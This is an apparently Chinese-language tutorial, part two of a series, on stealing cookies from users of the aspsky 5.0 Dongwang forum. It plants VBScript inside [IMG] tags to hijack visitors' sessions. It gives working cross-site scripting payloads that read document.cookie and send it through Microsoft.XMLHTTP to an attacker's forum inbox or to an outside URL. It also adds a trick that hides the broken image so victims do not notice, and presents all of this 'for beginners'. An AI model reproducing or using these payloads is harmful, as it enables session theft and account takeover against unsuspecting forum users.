利用Microsoft.XMLHTTP控件发送COOKIE(2)

日期：2020-05-13 栏目：程序人生 浏览：次


1:只能发给当前服务器，那么可以把COOKIE发到你在论坛上的注册的用户的邮箱嘛:)
2:replace(document.cookie,""&"",""-""),在vbs中用
replace替换函用，在例子中我把"&"换成了"-"

问题都解决了下面是实际的例子：
动网aspsky 5.0 0320测试成功

//----------------------

[IMG]vbsCript:execute("dat=replace(document.cookie,""&"",""-""):set http=createobject(""Microsoft.XMLHTTP""):http.open ""GET"",""ht""+""tp://www.hd315.gov.cn/gcs/19qu/yanqing/bbs/usersms.asp?action=send&touser=czy&title=news&submit=发送&message=""&dat,false:http.send")[/IMG]

说明：把COOKIE发给CZY用户,邮件标题叫news
//----------------------


另控件的正常用法：
<script language=vbs>
dat=document.cookie
set http=createobject("Microsoft.XMLHTTP")
http.open "POST","http://www.chinansl.com/czy/get.asp?cook="&dat,false
http.send
tt=http.responsetext
msgbox tt
</script>




  让代码更完美，现在COOKIE已经乖乖的在我们的邮箱里了，但是有一个小问题由于图片不
能正常的显示会是一个小叉，旁边还有按此在新窗口浏览图片的提示。。。这又难免会让人
生疑。

解决思路：
一个网页中的所有IMG元素通过document.imanges都能例举到，并且可以设置它们的大小，当width=0时就
相当于HIDDEN了.通过比较元素的src属性的值是否含有"ript"就可以判断是不是我们的图片.另外比较时
大于符用>代替，0用0代替!

代码:
[IMG]vbsCript:execute("for each aa in document.images:if instr(aa.src,""ript"")>0 then:aa.width=0:end if:next")[/IMG]


实际应用的代码：
[IMG]vbsCript:execute("for each aa in document.images:if instr(aa.src,""ript"")>0 then:aa.width=0:end if:next:dat=replace(document.cookie,""&"",""-""):set http=createobject(""Microsoft.XMLHTTP""):http.open ""GET"",""ht""+""tp://www.hd315.gov.cn/gcs/19qu/yanqing/bbs/usersms.asp?action=send&touser=czy&title=alll&submit=发送&message=""&dat,false:http.send")[/IMG]


//-------------------方便菜鸟使用：）